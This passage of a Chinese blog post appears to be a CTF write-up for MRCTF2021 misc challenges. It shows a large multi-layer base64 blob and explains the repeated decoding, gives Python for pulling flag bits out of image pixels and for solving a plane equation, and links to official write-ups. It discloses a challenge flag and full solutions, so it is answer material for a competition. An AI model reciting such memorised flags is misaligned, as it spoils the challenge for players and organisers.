TBWc1YySkZOWEJWYkdoRFpERmFkR1ZIUm10TmExcElWakkxVTFSc1drWlRia1pWVmxaS1dGWXdXbUZrUlRWWFZHMW9UbFpYT0hsWFYzUmhZVEZhZEZOc2JHaFRTRUpXV1d0YWQyVnNXblJOVldSVFlrWktlbGRyWkhOV01XUkdVMnQwVjAxV2NGaFdha1pTWlVkS1IxcEdVbWhOV0VKYVYxY3hNR1F4WkVkaVJtaHJVakJhYjFWdE5VTlNNVnB6Vld4a1YwMUVSbGhaTUdoelZsZEtSMk5JU2xwV2JWSkhXa1JHYTFkWFRrZGFSMnhZVWpKb05GWXlkRk5SYlZaSFYxaG9WbUpIZUc5VmJURnZZakZTV0UxWE9WZGlSMUpaV2tWa01HRlZNWEppUkZKWFlsUldTRlpYTVV0V2JHUnpZVVp3YUUxWVFYcFdSbFpoWkRGYWRGSnJhR3RTYkZwdldsZDBZVmRXWkZWUmJUbHFUVlpzTTFSV2FFZFZNa1Y1WVVkR1YyRnJOWFpaVlZweVpWZE9ObEpzYUZkTlNFSkpWMVpXYTJJeFVuTmFSVnBVWWtWd1dGUldXbmRoUm1SWFYyczFiRlpzU2pGV1YzaFhZVVV4VjJOR2NGaFdNMUp5VmxSS1NtVkdWbk5oUjNCc1lUQndVRlpYTUhoVk1XUnpZVE5rVjJKWVVsaFVWM1IzVjBaWmVXVkhPVmROVlc4eVZtMTRiMVl5UlhsVmEzaFdZV3RhVUZwR1drZGpNWEJJWWtaT2FXRXdXVEpXYlRGM1VqRnNWMkpHWkZSWFIyaHdWV3RhZDFaR2JITmFSRkpWVFZad2VGVnRkREJXUmxwellrUldZVkpYVWtoWlZWVjRWMFpXY21KR1drNWliRXB2VjFaa05GUXhTbkpPVm1SaFVtNUNjRlZ0ZEhkVFZscDBaRWRHYTAxWFVrbFdiWFJ6VmxkS1NGVnVRbFpoYTFwTVZHMTRZV05zYTNwaFIyeE9WbXhaTUZacVNqQlpWbVJJVTJ4YVdHSkhhRmhaYkZKSFZERndWbGR1VG1wV2EzQjZXVEJrTkZVeVNsZFRiVVpZVmtWS2NsbHFSbUZTTVU1ellrWkthVll5YUZwV2JUQjRWVzFSZUZwR1pHRlNWR3h4VkZaYWQwMVdWblJsUlRsb1ZtdHNORlV5Tlc5V01VcDBWVmhrV0Zac2NFdGFWVnBYVjFkR1IyRkhiRmhTYTNCYVZtdGFZVmxYVVhoVWEyUllWMGQ0Y1ZWc2FGTlhSbEpZWkVoa1ZGWnNjRWxaTUZwUFZqRlpkMVpxVmxkV00yaFFWMVphWVdNeVRraGhSbkJPWW0xbmVsWlhjRWRrTVVsNVVtdGtWV0Y2Vms5WmJHUnFaVVphZEUxVVVtaE5iRVkwVmxab2IxWXhaRWhsUmxaWFRVZFNkbGt3V2xaa01WcFZVbXhvVTJKWVozZFdSbHBoVkRGa1IxTnVUbFJpUjJoWVZGZHdWMk5zV2tobFJYUnJVakZLUmxaSGVHOWhSVEZYWTBoc1YyRnJTbWhWTWpGU1pWWlNjbGR0YUZOaWEwcFFWbGN3TVZFd01YTlhia1pVWW01Q2MxVnRjekZUVmxaMFpFZEdhVkpyY0RCV1Z6QTFWMnhhUms1VlVsWk5WbkJ5Vm14YVQyTldWblJoUlRWb1pXeFdNMVp0TUhoTlIwVjRZa1prVkZkSGVHOVZibkJ6Vm14YWNsWnJkRlZTYkhCWldsVmtSMkZyTVZsUmEzQllZVEZ3VUZaSGVGcGxiVVpIWTBaa2FFMVlRakpYV0hCSFZtMVdWMU5zYkdsU2JIQndWbXRrTkZkR1pGaGxSemxwVFZaS1NGWXlOVXRYUjBwV1YyNUdWVll6VW1oVmFrWmhVMGRXUjFSc1ZtbFNia0Y0Vmxaa2QxVXhXWGhYYWxwU1lXeEtWMWxYZEdGaFJtdDVZek5vVjAxWFVubFViRnByVlRKRmVsRnNjRmROVjFGM1dWUktTbVZXVm5WVWJHaFlVakZLV2xkWGVHOVZNVnBYVm01R1VtSlZXbFZWYlRFMFpWWlplVTVYZEdoU2JIQXdWbGQwYzFkc1dsaFVWRVpYWVd0d1RGWXhXa2RqYlVaSFkwZDRhRTB3U2xGV01uaFhZVEZSZUZOdVVsTmhNbEpUV1d0a1UyTkdXblJrU0dSWFlrWnNORmRyVWxOaFZURnlZa1JPVldKR2NISldNR1JMWXpGT2NrOVdXbWhOVm5CdlYxZHdSMVV4V1hoYVNGWlZZWHBzVkZsclpETk5WbHBJWlVaYVQxWXdXa2xWTW5SaFlXeEtXRlZzWkZWV00wSklXa2Q0WVdOV1RuSmtSbEpUWWtad05WWkVSbUZXTVZsNVUydHNVbUpVYkZoWlYzUkxZMnhhU0UxV1pHdFNhM0I1VjJ0a2IxVXlSalpXYm1SWFZucENNMVJzVlRGU01XUlpZVVphYUUxRVZtaFdiWEJEVmpBMVIxZHNhRTlXYXpWWFZGZDBkMlZXVW5OWGJrNVlZa2RTU2xWWGRHOVdNREZIWTBod1YwMUhVbFJWYlRGVFUwZE9TR0pHVG1sU00xRXhWbTE0YW1WSFZuSk9WbVJYVjBkU1QxWnRNVk5qVmxaeVZtMUdXRkpzY0hoV1J6QTFWbXhLZEdWR2FGZE5ibEl6V1d0YVMyTnJOVlZTYkdob1RWaENlVmRXV21GaE1VbDRWRzVPYVZKdFVuQldhMVpLVFVaYWMxa3phRmROVld3MFdUQldjMVl5U2taT1dFSldZa2RvUkZwRVJtRmtSMVpJVW0xMFRtRXhjRWxXYWtreFZURlNjMVJyYUdoU2JWSldWbTE0Vm1WR1dYZFhiSEJzVmpGYVNWUXhaRzlVYkZwWVQwaHNXRll6VW5GVWJGcGhWakZrZFZSc2FHaGhlbFpYVm0xNFlXUXlSa2RYV0dSaFVsUnNVRmxyV25kbGJHUnlWbFJHYUZKVVJscFZWbEpIVmpKS1dWRnJlRlZXVmxWNFZXcEdhMlJXVG5KT1ZtaFRZa2hDTWxac1VrTldNbEY0V2tWa2FWSnRhSEpWYWtKaFlqRldkRTVWVGxOTlZtdzFXa1ZTUTJGRk1WWmlSRTVWWWtaYWNsWnNaRXRTTWs1SlUyeGtVMDB5YUc5V2FrSnJWVzFXZEZSclpHRlNNbmhaVldwS2IxWnNXbk5oU0dSU1lsWmFTRlpIZEd0V1IwcElaVWM1Vm1GclNtaFdhMXBoWTFaT2RFOVdaR2xTTVVwYVYydFdhMDFIUmxaTldFcHBVa1pLV0Zsc1VsZFdSbHBJWlVkR1QySlZjRWxWYlhocllWWmFSbFpZWkZkaVZFVXdWbXBLVTFKck5WZGhSM1JUWWtad2RsZHNaREJaVm1SWFdrWm9hMUpyTlZaVVZscHpUVEZTVjJGRlpGZE5hMVkyV1ZWa1IxZHNXa1pYYWs1WFVsWndNMVZ0ZUd0ak1YQklaRVprVGxORlNrdFdiR040VGtaUmVGZFlaRTVXYkhCWlZqQm9RMWRHYkhOaFJ6bFhVbXhaTWxWdGREQmhNVXB6WTBSR1YxSXphRkJaVm1SR1pVZE9SMk5HYUZkTk1VcDVWbXhTUzFReFNYaFhibFpUWWtVMWIxUldhRU5sVmxwSFYyMTBWazFYVWtoV01uaHZZVEZLUmxOc1pGVldWa3BJVmpGYVlWZEhVa2hQVm1Sb1pXdFplRmRXVm05a01XUkhWMjVPYWxKWVVtaFdhazV2VTBac05sSnNaR3BOV0VKSldWVmtiMkpIU2tkaVJGWlhZbFJHTTFWcVJuTlhSa3BaWVVkR1UxWXlhRmxYVmxKTFlqRldWMWR1VW10VFIxSldWRlphZDJWc1dsaGtSMFpWWWtWd01GWlhlR0ZXYkZvMlVtdG9WMDF1YUdoWmVrcExVbFpXYzJGSGFFNVdia0Y1VmpGYVYxbFdUWGxVV0doVlltczFXVmxyWkZOalJscHlWbTFHVjFac2NEQmFSV1JIWVRBeFdGVnJiRmRpV0ZKNlZteGtTMU5HVm5WUmJGcG9ZVEZ3VFZaSE1UUlpWMDV6WVROd2FGSXllRTlXYlhoYVRVWmFjVk5xUWxwV2JWSkpWVzAxVDJGc1NuUmhSbWhhVmtWYWFGcFdXbmRXYkdSMVZHeGtWMkV6UWpaWFZFSnJUa1pWZVZOc1pGUmlWVnBaVm10V1MyRkdaRmRhUldSWFRWZFNXbGxyWkc5Vk1rcFlZVVp3V0ZZelVuSldWekZTWlVad1IxcEdhR2xoZWxaWlZrWmtlazFXVGtkWFdHeHNVbnBzYjFadGRITk9SbFY1VGxjNVYwMVZjREJXVm1oclYwWmFjMk5GZEdGV1ZuQllWakZrUjFJeVJraGlSbWhUWVROQmVsWnRlR3RrTVVWNVZWaG9ZVk5GTlhCVmJYaDNWMVpzVlZOc1RsaFNiRXBaV2tWYWExUXhTblJrUkU1WVlUSk5NVll3V2t0ak1rNUZVV3hrVjAweWFGRldNVnBoV1ZkTmVWUnJhR2hTYmtKUFdXMHhibVZzV2xoalJXUnJUVlUxU1ZVeWRHOWhWa3B5VGxac1ZtSkdXak5XVkVaaFpFVXhTVnBIZUZOV1JscEtWbGQ0YjJJeFdYaGFSV2hvVW0xNFdGUlZaRk5rYkZweFVtNU9hbUpJUWtsVU1XUjNZVlpLYzFkWWNGZE5ibEpvVmtSR2ExSXhUblZVYkZKcFVqSm9XbGRXVWtkVE1WcEhZa2hLV0dKVlduRlVWM014VTBac2NsZHNaRmROYTNCSVdUQm9jMVl5Um5KVGJXaFdaV3R3VUZwRldrOWpiRnB6Vm0xc1UwMVZjRE5XYlhCRFZqRk5lRmRzWkZoaWExcFZXVzAxUTJNeFZuUmpla1pVVm14YU1GcEZaRWRoVmtweVkwUkNWMVl6VFRGV01qRkxWbFpLZFZkc2NHaGhNWEJ2VjFSR1lWSXlVa2RUYms1aFVsUldiMXBYZUZwTmJGbDRWV3RPVjAxcmJEUldiR2h6VmtkRmVXRkdaRnBoTWxKMlZtMTRZV1JIVmtoU2F6Vk9WbTVDV2xkc1ZtdFNNa1p5VFZaa1dHSnRlRmhWYm5CSFpHeGFTR1ZIUmxoU01Va3lWVmQ0YTFZeFNsZGpSRXBZVjBoQ1NGWnRNVmRXTVU1ellrZHNVMDF0YUZaV1YzaFhaREZrUjFwR2FHeFNlbXhXV1d4YVlWTkdiRlZVYlhSWVVqQndlVlJzV205V01rcFpWVzFvVlZac2NISlpNbmhoVmxaS2RHRkdaR2hOTUVZMFZteGFZV0l5UlhoWFdHaFVZbXMxY1ZWdGVFdFdNVnB5Vm0xR2FGSnRkRFZaZWs1dlZqQXhXRlZ1YkZWaVJuQnlWbFJLUm1Wc1JuTmpSbVJwVmtWR05GZHJVa2RYYlZaSFdraEtZVkp0YUhCWlZFWjNWbXhrVjFWck9WWk5WbkJZVm0wMVUySkdTWGRYYms1YVlURndlbFJzV25kV2JVWklaRWRvVTJKSVFYZFdiR1F3WWpGYWNrMVdhR2hTUlRWWVZGVmFkMWxXY0ZobFJXUnFZbFZhU0ZkclpHOWhSVEIzVTJ4S1YySlVSak5WYWtaV1pWWldjMXBHWkdsaGVsWlVWMWQwYTFVeVRrZFhibEpyVTBkU1dGbHJXbk5PUm1SeVZXeE9hRlpVUm5sWmExSlRWMjFGZUdOSVNsaFdiSEJNV1hwR2EyTXhVbk5qUjJ4VFlraENkbFl4WkhkU01WVjRXa1ZvVm1FeVVtaFZiRkpYVkRGYWRHUklaRmhXYkhCNFZURm9iMVJzU1hkWGEyeFdUVzVTYUZaRVJtRlhSMVpJVW14a2FWSnVRWHBYVkVvMFdWZE9WMVJ1U210U00xSllXVlJHZDA1V1dYbGtSM1JUVFZaV05GVXllR3RoYkVwSFkwWm9XbUpIYUVSVk1GcHJWakZrZEdSR2FGTmhNMEkxVmpKMGEySXhWWGxTYWxwWFltMVNXRlp1Y0VKbFJsWllZek5vYWsxWFVscFpWVnB2WVZaSmVGTnRhRmRpV0VKRVZtcEJNVkl4WkhOaFJUbFhWa2Q0V2xaWE1IaFZNVTVYWTBaYVdtVnNXbGhaYkZaWFRrWlplV05GT1ZkTlJFWklXVEJvZDFZd01VaFZiRkpXWWxSR1ZGVXdaRTlUUjBwSFZHMXNVMDB4UlhoV2JURTBZVzFSZVZacldrNVdWMUpaVmpCa1UxUXhXblJOVms1cVZteGFlVlp0TVVkWFJrcDBaVWh3V2xaWFRURldNRnBMWkVkV1IyRkdaRTVpYXpCNFZteFNTMU14U25KT1ZteHFVbTVDVDFWdE5VTmxWbHAwWTBWa1ZFMVdjREJXUjNScllWWktkRlZzYkZaTlJscE1WVEZhWVdOc1ZuSmFSbWhwVm14d1NWZFVRbGRqTVZsNVUydGFUMWRGU2xkWmExcExWMFp3UlZKdFJtdFNNVnBKVlcweE1GUnRSWGhqUld4WFlXdHJlRlpVUmxOak1YQkdZa1pLYUdWdGVGbFhWM2h2VkcxV1IxZFlaRmhpU0VKelZteFNWMWRHV2toTlZ6bFZZa1p3V1ZRd2FITlhSbGw2Vlc1R1ZXSkdjR2hXYWtaclpGWlNjMkZIYkdsaE1IQllWakZrTUZsWFVYbFdiazVZWW14S1QxWnNaRk5XUm14eVYydDBiR0pIVW5sWGEyaFBWakF4V0ZWclpGWk5ibEYzVm1wQmVGWXlUa2RoUm1Sb1lURndXRmRzVm1GaE1rMTVVbXRrVm1KWGVGUlVWRXB2VFd4YWMxVnJUbGROYkVZMFYydFdhMkZXVGtaalJteGFZbFJHVkZac1dsZGtSVFZXVkd4T1RsWnRkekZYYTFaVFVUSkdSazFXV21sU1JUVldXV3RhWVdOc1duTmFSWFJUVFdzMVNsVXllR3RWTURCNVlVYzVWMkZyU25KV1Z6RlhaRVpTY2xwSFJsTk5ibWhhVmxkd1MySXhXbk5YYms1b1UwZFNVMWxzV21GVFJscElaRWQwVjFZd2NFbGFWV2hEVm0xS1dWUllhRnBoYTFwVVZqQmtWMUp0VWtkYVIyeFRUVlZ3WVZacldtRmlNbEY0Vlc1T1dHSnJOWEZWYlRGdldWWnNWVk50T1ZaU2JIQjRWVEowTUZZeVNraFZibkJhVmxad00xbFZWWGhYVmtaWlkwWmtVMkpHY0c5WGExSkhXVmRTUjFOdVNtaFNNMUpVV1d0YWQyUnNaSE5hUkVKYVZtMVNXRmRyV2xkVmJVcFZZa2hHVlZac2NIcFVWRVpUVmpKR1JscEdXazVoTVZreFYxWldhMUl4V1hsU2JrcFBWMFp3WVZac1duZGxWbkJYVmxob1YyRjZiRmhXUjNocllVVXdkMU5VU2xkTlZuQllXVlJLU21WR1ZuVlViVVpUVm01Q1ZsZFhkRmRrTVdSSFlraE9hRkpyTlhGWmExcExaVlpaZVU1Vk9WaFNhM0I2VlRKd1IxWXhXWHBoUm1oYVZsWldORlpxU2s5U01rcEhZVVprVGsxVmNEVldiWGhUVWpGc1YxTllhRmRpYXpWWVdXdGFTMk5HV25KYVJGSnJUVlp3U0ZZeU1VZGhNREZ6VjJ4b1YwMXVhSFpaVkVaTFVteE9jMXBHVmxkV2EzQkpWbXBDWVdNeVRuTldiazVWWWtkU1QxWnNZelJsVmxwMFRWUlNVazFYVW5wV01qVlBZV3hLV1dGSFJsVldNMEpJVmxWYVYyTldUbkphUms1T1ZqRkpkMWRYZEdGVU1WSjBVMnhvYUZKWFVsaFpiRkpIVFRGV2NWSnVUbGhTYTNCYVdWVmtSMVV4V1hsaFJteFlWbXhLVEZaVVJtRmpNa3BKVTJ4a1YxSldjSGRXUmxwdlVURmtWMk5GV21GU1YxSllWVzE0ZDJWc2EzZGhSemxYWVhwR01WVlhlRk5XTWtaeVVtcFNWMkZyV21oWk1WcGhZekZrZEdKR1RrNWlWMUV5Vm0weE5HRnRWa2RVV0d4VlltdHdVRlp0TVZOaFJsWjBUbFZPYWxKc1dqQmFSV2hyVmtaYWMyTkVRbUZTVjFKSVZqQmtTMVl4WkhOaVJtUnBWMFpLTWxkV1VrZFRiVlp6VW01V1VtSkdjSEJXYTFwaFVsWmFkR05GWkZwV2JWSkhWRlphVjFadFNsaGhSVGxYWWxoU01scEVSbUZYUjFaSVQxZDBUbFpzYjNkV1ZFb3dZakpLUjFOdVVtaFNiV2hoVm10V1lXRkdjRmRYYm1SWFlrZFNNVlpITVhkV01rVjZVV3BhV0ZaRlNuSlVhMXBXWlZaT2MxcEdVbWxXVm5CYVZtMTBWMU15VG5OaVNFWlRZbFZhVkZSV1ZURmxiR3h5VjJ0MGFGWnJiRFJWTW5oM1ZqSktWVkpVUWxabGExcFVWV3BHYTJNeFduTlViV2hzWWxob1ZsWnJXbUZaVjFGM1RWWmtWMkpzU25OVmJGSnpZakZhZEUxV1RsUlNiRlkxVkd4b1QxWXdNWEpqUmxwV1lrWktSRlp0TVZkamJVNUhZVVp3YkdFelFrMVdWM0JIWVRKU1IxTnVUbFppUlRWWVZXMTRkbVZXV25STlNHUnNVbFJXU1ZaV2FITldNa3BJVlcwNVZWWkZjRlJXTVZwelpFVXhWMVJzYUZOaVJYQmFWMnRXYjJFeFdrZFhiazVxVWxkNFlWUlZXbmRWUmxweFVteHdhMDFXY0hoV2JYaHJWakF3ZVdGR1JsZE5WbkJvVjFaa1RtVldVbkpoUjJoVFltdEtVRmRYTUhoaWJWWnpWMnhvYWxKWFVuSlVWbFV4VTFaVmVXUkhPV2hXYTNCNVZHeGFjMVp0U2tkWGFrNVhWa1ZhYUZwRlZYaFRWbkJJWlVaT1YxSnNjRXRXYkdRMFlqSkplRmRZYUdGU1YyaHZWV3BLYjFZeGJISmFSazVYVW14d2VGVnROVTloYlVwSVZXcEdXR0V4Y0hKV1IzaGFaVzFHUjFwR1pGZFNWemgzVm10U1MxSXlUbkpOVm1SaFVqTkNWRlZzVm5kaU1WcDBaVWRHV0dKV1JqUlphMmhMV1ZaS1dWVnNVbFZXTTAxNFZXMTRWMWRIVmtkYVJtUk9WbTVDTlZkVVFtRmpNVmw1VTJ4c1VtRXdOV2hXYkZwM1ZFWmFjVkpyT1d0V2JFb3dWVzE0VDJGWFJYZGpSRTVYVFZkT05GUlZXazVsUmxaeldrWm9hV0pGY0ZCV1ZFSnJZakZhVjFWc1pHRlNhelZaVlcxNGQwMUdVbk5YYlhSWVVtdHNNMWt3Vm5OV01WbzJVVlJHVjAxdWFHaFZiWGhyWTFaU2MyTkhhR2hOV0VKMlZtMXdRMVp0VmtkWGJHUlhZbXhLYjFWc1VsZGlNWEJZWlVaa1RrMVdjREJVVldodlZHeEpkMVpxVWxwaE1YQnlWbXRhYTFOSFZraFBWbHBwWW10S05sWnRNVFJaVjA1elYyNUthMUpzV2xSWmEyaERWMnhrYzFadGRGTk5hMXA1VkZaYWIyRXhTa2RqUjBaWFlrWndWMVJXV21GV1ZrNXlaRVpvVjAxR2NFbFhWRUpoWVRKR1JrMVdiRkpoYTNCWlZtcE9RMVJHVm5GVGF6VnNVbXhLTVZaSE1XOVZNREYwWVVaYVYxWXphRmhhUkVaclVqRndSMkZIZUZObGJYaFhWMWQ0WVZsV1RrZFhXR3hyVW0xU1YxUlhkSGRXTVZsNVRsVmtWMVpzY0RCV1YzaFRXVlpaZW1GSWJHRlNSVm96Vld4YVYyUkhSa2RhUjJoT1RVVlpNRlp0ZUdGWlYwbDVVbGhvWVZKWGFGVlpWRXBUVjFac2RHUklaRmROVjNoWldrVmtSMkZHU25Sa1JGWmFaV3MxZGxacVFYaFhSbFp4VVd4d2FFMVlRbEZXYkZKTFVtMVdjMUp1VWxCV2JWSlBWbTAxUTFaV1dsaGpSWFJXWWxaYVdGWlhOVmRXVjBwSVlVWnNWbUZyV2t4WmFrWmhWMGRXU0U5V1drNWhlbFpaVjFkMGIxUXhXWGhYYTFwWVlrWktWbFp0ZUhkVFJsSnlWMnh3YkZaVVJsWlZWekZ2VlRKS1NWRllaRmRpUjFGM1dYcEdhMU5HU25WVGF6bFhVbFJXV1ZkV1pEQmtNVTVIWVROc2JGSlViSEpWYWtKaFUwWnJkMXBFVW1oU1ZFWmFWVmR3VjFZeVNsbFJhMUpZVm14d1YxcFdXbE5rVmxKMFkwWk9WMDF0YUZaV01XUXdWbXN4V0ZSclpGaGliRXB5VlRCa1UxZEdiSEpYYms1UFVtMVNlVlpYZEU5WFIwcEhZa1JTVm1KWVFsQldiR1JMVWpKT1NWTnNaRTVTTVVwTlYxaHdSMVF5VG5KUFZtUmhVakpvVDFadE5VTlViRnB4VW0xR1dsWnRlRmxXVjNSdlZqSkZlR05IYUZaaVJrcDZWbXRhYzJOdFJrWlRiWFJPVmpGS05sWnRNSGhTTWtaR1RWWmthbEp0ZUZkVVZ6VlRZVVpzV0dWRmRGaFNNVnBKVlcxNFYxWXhTbFZXYTFaWVlrWndhRlpxUmtwbFJrNXpWbTFzVTJFeGNGaFdiWFJUVVdzMVVsQlVNRDA9aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

把最后的 a 给去掉,然后不停解 base64。

貌似套了22层 base64,就离谱。

MRCTF{bUt_Y0u_c@n_f1yyyyyyyy~}

BTW, 官方 WP 这个移位加置位的方式写起来挺方便的。

for i in range(400):
    for j in range(50):
        ch = 0
        for k in range(8):
            if judge(pim[i,j*8+k]) == 1:
                ch |= 1 << k
        flag += chr(ch)
flag = flag.strip('a')

另外来抄一下 snowywar 师傅求空间平面方程的解法

import numpy as np

mark = [(153, 15, 120),(51, 104, 132),(229, 38, 115)]

def define_area(point1, point2, point3):
    point1 = np.asarray(point1)
    point2 = np.asarray(point2)
    point3 = np.asarray(point3)
    AB = np.asmatrix(point2 - point1)
    AC = np.asmatrix(point3 - point1)
    N = np.cross(AB, AC)  # 向量叉乘,求法向量
    # Ax+By+Cz
    Ax = N[0, 0]
    By = N[0, 1]
    Cz = N[0, 2]
    D = -(Ax * point1[0] + By * point1[1] + Cz * point1[2])
    return -Ax, -By, -Cz, -D

res = ""
a,b,c,d = define_area((153, 15, 120),(51, 104, 132),(229, 38, 115))
print(a,b,c,d)

于是可以得到空间平面方程 Ax+By+Cz+D=0 的系数。




小结

太顶了太顶了!

北邮的师傅们太强了 Orz。

BTW,师傅们自己开发的这个 CTFm 平台还不错,只是可能还比较新的原因还有点小 bug,不过问题不大,慢慢来嘛。

比如 profile 页面这里的名字貌似只是前端做了限制,后端并没有限制来着(虽然图片上没有体现

(比赛的时候就做了两题 + 问卷 check out,然后 rk45,就离谱

噢,官方 WriteUp 也出来了(

MRCTF Misc 官方WriteUp

MRCTF2021 Reverse官方wp

MRCTF2021 CRYPTO官方wp

MRCTF2021 官方ETH&IOT方向Wp

MRCTF2021 官方PWN方向Wp

(怎么 web 还没有呢 终于有了

MRCTF2021 Web方向Wp

就这样吧。累死了。

(溜了溜了喵


文章作者: MiaoTony
版权声明: 本博客所有文章除特别声明外,均采用 CC BY-NC-SA 4.0 许可协议。转载请注明来源 MiaoTony !
评论
  目录